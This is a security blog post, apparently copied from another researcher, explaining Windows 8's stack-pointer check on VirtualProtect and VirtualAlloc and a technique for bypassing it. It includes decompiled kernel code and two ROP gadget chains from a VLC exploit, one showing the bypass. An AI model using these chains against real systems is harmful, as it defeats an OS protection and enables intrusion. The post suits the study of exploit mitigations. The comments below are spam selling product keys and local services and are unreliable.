Defeating Windows 8 ROP Mitigation

Windows 8 introduced a number of exploit mitigation features, including hardening of both the userland and kernel heaps, mitigation against kernel-mode NULL pointer dereferences, and protection against abuse of virtual function pointer tables. One feature that stood out to me appears to be designed to help mitigate exploits leveraging return-oriented programming (ROP).

Return-Oriented Programming

For those who don’t know, ROP is a generalization of the classic return-to-libc attack that involves leveraging small sequences of instructions, typically function epilogues, at known addresses to execute arbitrary code incrementally. This is achieved by controlling data pointed to by ESP, the stack pointer register, such that each ret instruction results in incrementing ESP and transferring execution to the next address chosen by the attacker.

Because finding sequences of useful instructions (known as “gadgets”) may be difficult depending on the exploitation scenario, most real ROP exploits use an initial ROP stager to create a writable and executable memory segment that a second-stage traditional shellcode can be copied into. Most frequently, VirtualProtect can be used to mark an existing executable segment writable, or VirtualAlloc can be used to create a fresh segment. Other variations also exist.

A second trait common to many ROP exploits is that the ROP payload itself often doesn’t live in the thread’s stack, due to either the nature of the vulnerability itself or limits on the attacker’s ability to introduce code into portions of the vulnerable application’s address space. Instead, it’s much more common for a ROP payload to be positioned in the heap and pivot the stack pointer into the heap, at which point the ROP payload can run.

Windows 8 ROP Mitigation

Microsoft has evidently been paying attention and noticed these two common factors. In an attempt to mitigate these types of exploits, Windows 8 implements a simple protection mechanism: every function associated with manipulating virtual memory, including the often-abused VirtualProtect and VirtualAlloc, now includes a check that the stack pointer, as contained in the trap frame, falls within the range defined by the Thread Environment Block (TEB). Code courtesy of Alex Ionescu:
 
 char __cdecl PsValidateUserStack()
    {
      char Status; // al@1
      _KTRAP_FRAME *TrapFrame; // ecx@3
      _TEB *Teb; // ecx@3
      void *.Eip; // [sp+10h] [bp-88h]@3
      unsigned int .Esp; // [sp+14h] [bp-84h]@3
      void *StackLimit; // [sp+18h] [bp-80h]@3
      void *StackBase; // [sp+1Ch] [bp-7Ch]@3
      _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
      CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3
    
      CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
      Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
      if ( Status )
      {
        __asm { bt      dword ptr [edx+58h], 13h }  // // KernelStackResident, ReadyTransition, Alertable
        Status = _CF;
        if ( _CF != 1 )
        {
          TrapFrame = CurrentThread->Tcb.TrapFrame;
          .Esp = TrapFrame->HardwareEsp;
          .Eip = (void *)TrapFrame->Eip;
          Teb = (_TEB *)CurrentThread->Tcb.Teb;
          ms_exc.disabled = 0;
          StackLimit = Teb->DeallocationStack;
          StackBase = Teb->NtTib.StackBase;
          ms_exc.disabled = -2;
          Status = .Esp;
          if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
          {
            memset(&ExitStatus, 0, 0x50u);
            ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
            ExitStatus.ExceptionAddress = .Eip;
            ExitStatus.NumberParameters = 2;
            ExitStatus.ExceptionInformation[0] = 4;
            ExitStatus.ExceptionInformation[1] = .Esp;
            Status = DbgkForwardException(&ExitStatus, 1, 1);
            if ( !Status )
            {
              Status = DbgkForwardException(&ExitStatus, 0, 1);
              if ( !Status )
                Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
            }
          }
        }
      }
      return Status;
    }


As a result, exploits that leverage a ROP payload stored in the heap cannot return into VirtualProtect or VirtualAlloc to create a writable and executable segment. While this provides yet another hurdle for exploit writers, it’s fairly easy to bypass. Besides writing a full ROP payload that doesn’t have a second stage, which may be difficult depending on the availability of gadgets, one simple way of avoiding this protection is to give it what it wants: ensure ESP points into the current thread’s stack whenever virtual memory functions are called. In the below example, I’ll assume the attacker has access to the original stack pointer through some register, as is the case when a pivot is performed using an xchg instruction. If this isn’t the case, it may be worth investigating ways of finding the stack at runtime.

Bypassing the Mitigation

To demonstrate, let’s take the very basic ROP payload I used for a VLC exploit as an example. After triggering the vulnerability, I pivot the stack pointer into the heap using a gadget that executes the following:

    xchg esi, esp
    retn
 
 
In this case, the ESI register contains a pointer to heap data I control, so by pivoting the stack pointer into this region, I can execute my first-stage ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Call VirtualProtect()
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x29d13,        # jmp eax

    rop_base + 0x1022,        # retn
    heap & ~0xfff,            # lpAddress
    0x60000,            # dwSize
    0x40,                # flNewProtect
    heap - 0x1000,            # lpfOldProtect

    # Enough of this ROP business...
    rop_base + 0xdace8              # push esp; retn
]
This payload pulls the address for VirtualProtect from the Import Address Table (IAT), calls it to mark the heap executable, and jumps into the newly-executable heap to run a second-stage traditional shellcode.

Because ESP points into the heap at the time of the VirtualProtect call, this exploit would fail due to the newly introduced mitigation in Windows 8. However, it’s relatively simple to adapt it to bypass this mitigation. Below is the updated ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Write lpfOldProtect
    rop_base + 0x2c283,        # pop eax; retn
    heap - 0x1000,            # lpfOldProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write flNewProtect
    rop_base + 0x2c283,        # pop eax; retn
    0x40,                # flNewProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write dwSize
    rop_base + 0x2c283,        # pop eax; retn
    0x60000,            # dwSize -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write lpAddress
    rop_base + 0x2c283,        # pop eax; retn
    heap & ~0xfff,            # lpAddress -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &Pivot
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x229a5,        # &pivot -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &VirtualProtect
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x1db4f,        # mov [esi],eax; retn

    # Pivot ESP
    rop_base + 0x229a5,        # xchg esi,esp; retn;

    # Jump into shellcode
    rop_base + 0xdace8              # push esp; retn
]

This is a very crude example, but I think it demonstrates the idea just fine. I write the arguments to VirtualProtect into the original stack, stored in the ESI register, one at a time. For the address that will be returned to coming out of VirtualProtect, I place a pivot to move ESP back to the heap. Finally, to trigger the whole thing, I actually return into my pivot gadget, which will pivot ESP back to the original stack and return into VirtualProtect.

In this case, adapting the exploit added an extra 124 bytes to the payload, but that was mostly due to the fact that I was limited on gadget availability and had to resort to decrementing ESI one value at a time. It’s probably possible to optimize this example with some extra work. In other cases, I’d expect it to be possible to implement this technique with much less overhead.


Category Article , , , ,

13 Responses to “c0decstuff”

  • Anonim says:

    I see you stole this from
    http://vulnfactory.org/blog/2011/09/21/defeating-windows-8-rop-mitigation/

    Nice!

  • I just wanna say thank you for the information that you have been shared to us readers. Thanks for posting this kind of theme.

  • linday says:

    windows 10 serial key how to find , windows vista enterprise termékkulcs programok , www.windows 7 keygen , windows 10 activation error code 0xc004f050 , win ows 7 key , visio 2007 professional activation code , windows 8.1 pro key buy , windows 7 keys sale , lCDFfJ

    buy office 2016 product key

    windows server 2012 r2 free

    rosetta stone french key sale

    windows 10 product serial number offer

  • Anonim says:

    good share


  • اهم شركات نقل العفش والاثاث بالدمام والخبر والجبيل اولقطيف والاحساء والرياض وجدة ومكة المدينة المنورة والخرج والطائف وخميس مشيط وبجدة افضل شركة نقل عفش بجدة نعرضها مجموعة الفا لنقل العفش بمكة والخرج والقصيم والطائف وتبوك وخميس مشيط ونجران وجيزان وبريدة والمدينة المنورة وينبع افضل شركات نقل الاثاث بالجبيل والطائف وخميس مشيط وبريدة وعنيزو وابها ونجران المدينة وينبع تبوك والقصيم الخرج حفر الباطن والظهران
    شركة نقل عفش بجدة
    شركة نقل عفش بالمدينة المنورة
    شركة نقل عفش بالرياض
    شركة نقل عفش بالدمام
    شركة نقل عفش بالطائف
    شركة نقل عفش بمكة

  • Go to
    www.pay4key.org get genuine windows 10 product keys.

  • https://www.key1024.com/microsoft-office/office-2016-product-key/ I never found such a professional onsite shop about product key as the site office 2016 Key Sale Store before! Recommended by a friend, then I bought the product there. I think I must share this good site with you. Genuine product and low price! Really help me a lot!



  • تنظيف منازل
    يتم تنظيف المنازل من خلال24 شركة تنظيف منازل بالمدينة المنورة
    انوار المدينة على أعلى مستوي من الكفاءة والتمير والإبداع ,
    حيث نعمل بأحدث الأجهزة المتطورة التى تعمل بالبخار , مما يؤدي إلى القضاء على جميع الاتربة والاوساخ والبقع الصعبة , كما نعمل على تنظيف الكنب والانتريهات والسجاد والموكيت والستائر


    شركة كشف تسربات المياة بالمدينة المنورة
    اصحبت لها مكانه خاصة ومميزة , كما لديها أكبر قاعدة عملاء مميزين ,
    مما يعني الثقة المتبادلة والمصداقية فى التعامل
    شركة كشف تسربات المياة بالمدينة المنورة بينها وبين عملائها الكرام التى استطاعت ان تثبت انها الشركة نجاحه فى حل مشكلة كشف تسربيات المياه بالمدينة االمنورة ومعالجتها بأفضل الطرق وأعلي النتائج والخبرات العالية بدون كسر من خلال إستخدام افضل الأجهزة الإلكترونية


  • شركة تسليك مجارى بخميس مشيطشركة مميزة عن غيرها من الشركات فهي أفضل شركة والتميز في شركتنا وذلك لان شركتنا لديها القدرة القوية علي التعامل وأيضا التغلب علي جميع مشاكل انسداد المجاري حيث جميعا نعلم أن مشكلة انسداد المجاري أو المصارف الصحية تعمل علي الكثير من الأضرار مما تسبب في تلوث المياه وبالتأكيد تأثر علي صحة جميع الأفراد فشركتنا شركة تسليك مجارى بابها تعمل علي تسليك البالوعات وأيضا علي تسليك أحواض المطبخ والبيارات فشركتنا هي أفضل شركة في مجال تسليك المجاري بابها حيث أن الشركة تقوم بتقديم الكثير من الخدمات المميزة التي تكون ذات جودة عالية فشركتنا تعمل بكل الجهد حتى توفر لكل عملائها المال والجهد كما شركة الشرق الاوسط شركة تنظيف خزانات بالطائف أن الشركة تعمل علي توفير أفضل الخدمات المنزلية التي تتطلب وذلك من خلال تقديم كل الاحتياجات بمهارة عالية وذلك سوف تلاحظ كل هذه الخدمات والمميزات من خلال التعامل مع شركتنا شركة تسليك مجارى بنجرانفشركتنا تعمل علي تقديم كافة الخدمات دائما وذلك بهدف راحة العملاء وحتى يعيشوا العملاء في جو وبيئة نظيفة خالية من التلوث وخاليه من الأمراض حيث نعلم جميعا أن المياه مصدر الحياة وتستخدم في كل متطلبات المنزل من شرب وطعام وتنظيف وغيره ومما يتم استخدام الإنسان له وعند أن تكون ملوث فالتلوث يوصل الإنسان بسرعة ومما يسبب له الكثير من المشاكل مع شركة تسليك مجارى بحائل حياه افضل


  • فشركتنا شركة كشف تسربات المياه بخميس مشيطتعتمد شركتنا علي الاعتماد علي أفضل الطرق وأيضا أفضل الأساليب العالمية المميزة والتي تساعد في التخلص من التسربات المائية المتواجدة سواء في المنزل أو أماكن أخري وتساعدك الشركة من التخلص من مخاطر تسربات المياة الهائلة وكم أن شركتنا تتمكن من مساعدتك في التخلص من الآثار الجانبية السلبية [شركة كشف تسربات المياه بابها التي يتم حدوث من خلال التسربات المائية الخطيرة لذلك لا تبحث عن أي حلول تقلديه لا تعمل لك علي أي حلول لذلك قوم علي الفور بالتواصل معا واجتنب أي مخاطر أخر تتعرض لها لذلك شركتنا توصلك للتخلص من جميع تلك المشاكل لذلك عميلنا العزيز نعمل علي نصحك باذا حدث أي من المخاطر التي تم توضيحها أو أي من التسربات وملاحظتها
    شركة مكافحة الربية بمحايل عسير فيجب عليكم عملائنا الكرام بالتسرع في حلول تلك المشاكل للبعد عن مخاطرها والتي أيضا قومنا بوضح معظمهم أن تقوم بحل الأمر من البداية حتى تجتب الكثير من المخاطر وذلك عملائنا من خلال التواصل شركة مكافحة حشرات بالباحة معنا علي الفور والتمتع بخدماتنا والتمتع بحياة أمنة لذلك لا تترد عميلنا العزيز ويشرفنا تواصلك معنا والتمتع بخدمات شركة كشف تسربات المياه بحائل

  • Unknown says:

    Windows 10 Key Sale Store (http://www.windows10keysale.com)


    there is also the site Windows 10 Key Sale Store (http://www.windows10keysale.com) that simply sell licenses only, Windows 7 Home Premium SP1 Product Key is 35.
    I bought my Windows 7 Home Premium SP1 Product Key license on earlier this year and I have not had an activating problem.
    should just find the iso operating system (I have downloaded from the Microsoft site, I do not know if is also easy for Windows 7 Home Premium SP1 Product Key), the site provides links but I think probably not in French.


    Windows 10 Key Sale Store (http://www.windows10keysale.com)


  • يسر شركة شام ان تقدم لعملائها في مدينة القطيف افضل الخدمات المنزليه واليوم سوف نقدم لكم خدمة تسليك المجاري بالقطيف وقد حرصنا علي ان تكون الخدمه التي نقدمها خدمه متميزه خدمه متوفر فيها جميع عناصر الاحترافيه والخبره ، وتندرج هذه الخدمه تحت مسمى
    شركة تسليك مجاري بالقطيف
    ومن عناصر التميز التي حرصنا علي توافرها في هذه الخدمه وجميع الخدمات التي نقدمها لعملائنا الكرام المصداقيه واحترام الاتفاقات والمواعيد والحرص والحرص علي الوصول بالخدمه المقدمه الي اعلي درجات الاتقان والجوده ، عزيزي العميل مع شركة شام انت دائما بأمان .

What's on Your Mind...

Thank f' u C0mment